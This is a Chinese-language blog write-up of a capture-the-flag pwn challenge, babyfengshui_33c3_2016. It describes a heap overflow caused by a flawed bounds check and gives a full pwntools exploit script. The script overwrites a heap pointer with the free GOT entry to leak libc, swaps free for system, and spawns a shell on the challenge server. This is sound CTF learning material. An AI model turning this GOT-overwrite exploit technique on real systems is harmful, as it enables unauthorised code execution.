buuctf:babyfengshui_33c3_2016
这是个一分题,但是还是蛮经典的,单独给一篇随笔来记录一下吧,想了挺久的
逆向
这个memset有被恶心到
fgets后面追加\00也被恶心到
不逆了,反正还好,多调试一下就能摸清堆结构,然后主要的漏洞在于这个地方
这个逻辑明显是不对的,假如我的堆管理结构在下方,但是我的堆本体在上方,那岂不是二者中间所有的堆块我都能溢出?
所以这个就是一个漏洞,可以造成大规模堆溢出
pwn it
思路就是刚才提到的那个
构造堆风水,布置结构
一开始卡在了泄漏地址上,因为fgets自动补0,就没法利用printf的%s,然后就呆了一会儿
弹了尤克里里之后忽然来思路了,我是zz,有堆管理结构,里面有现成的堆指针,我直接改堆指针为got表,然后就能leak了
同时,改指针为got表,我也能获得可写能力
那么简单竟然没想到,我服我自己了
exp:
from pwn import *
from LibcSearcher import *
local = 0
binary = "babyfengshui_33c3_2016"
libc_path = '../libc-2.23.so'
port = "27912"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(des_size,name,text_size,text):
p.sendlineafter('Action: ','0')
p.sendlineafter('size of description: ',str(des_size))
p.sendafter('name: ',name)
p.sendlineafter('text length:',str(text_size))
p.sendafter('text: ',text)
def show(index):
p.sendlineafter('Action: ','2')
p.sendlineafter('index: ',str(index))
def edit(index,text_size,content):
p.sendlineafter('Action:','3')
p.sendlineafter('index: ',str(index))
p.sendlineafter('text length:',str(text_size))
p.sendafter('text:',content)
def free(index):
p.sendlineafter('Action:','1')
p.sendlineafter('index:',str(index))
elf = ELF(binary)
free_got = elf.got['free']
add(0x80,'lemon\n',0x10,'aaaa\n') # 0
add(0x20,'protected\n',0x18,'bbbb\n') # 1
add(0x40,'lemon\n',0x10,'aaaa\n') # 2
add(0x20,'/bin/sh\x00 \n',0x18,'cat flag\n') # 3
free(0)
# dbg()
add(0x100,' hackyou by heapoverflow lemon \n',0x20,' lemon : ^_^ ~~~~~~ \n') # 4
# payload = 'a' * (0x8 + 0x100 + 0x30)
payload = 'a' * (0x8 + 0x100) + p32(0x110) + p32(0x29)
payload += p32(0) * 9 + p32(0x89) + p32(free_got)
# dbg()
log.success("PAYLOAD LENGTH:{}".format(hex(len(payload))))
edit(4,len(payload) + 4, payload + 'aa\n')
show(1)
leak = u32(p.recvuntil('\xf7')[-4:])
log.success("LEAK:{}".format(hex(leak)))
libc = LibcSearcher('free',leak)
libc_base = leak - libc.dump('free')
system = libc_base + libc.dump('system')
log.success("LIBC BASE:{}".format(hex(libc_base)))
edit(1,5,p32(system) + '\n')
free(3)
# gdb.attach(p)
p.interactive()
学到的东西
有堆指针泄漏和edit都可以利用堆指针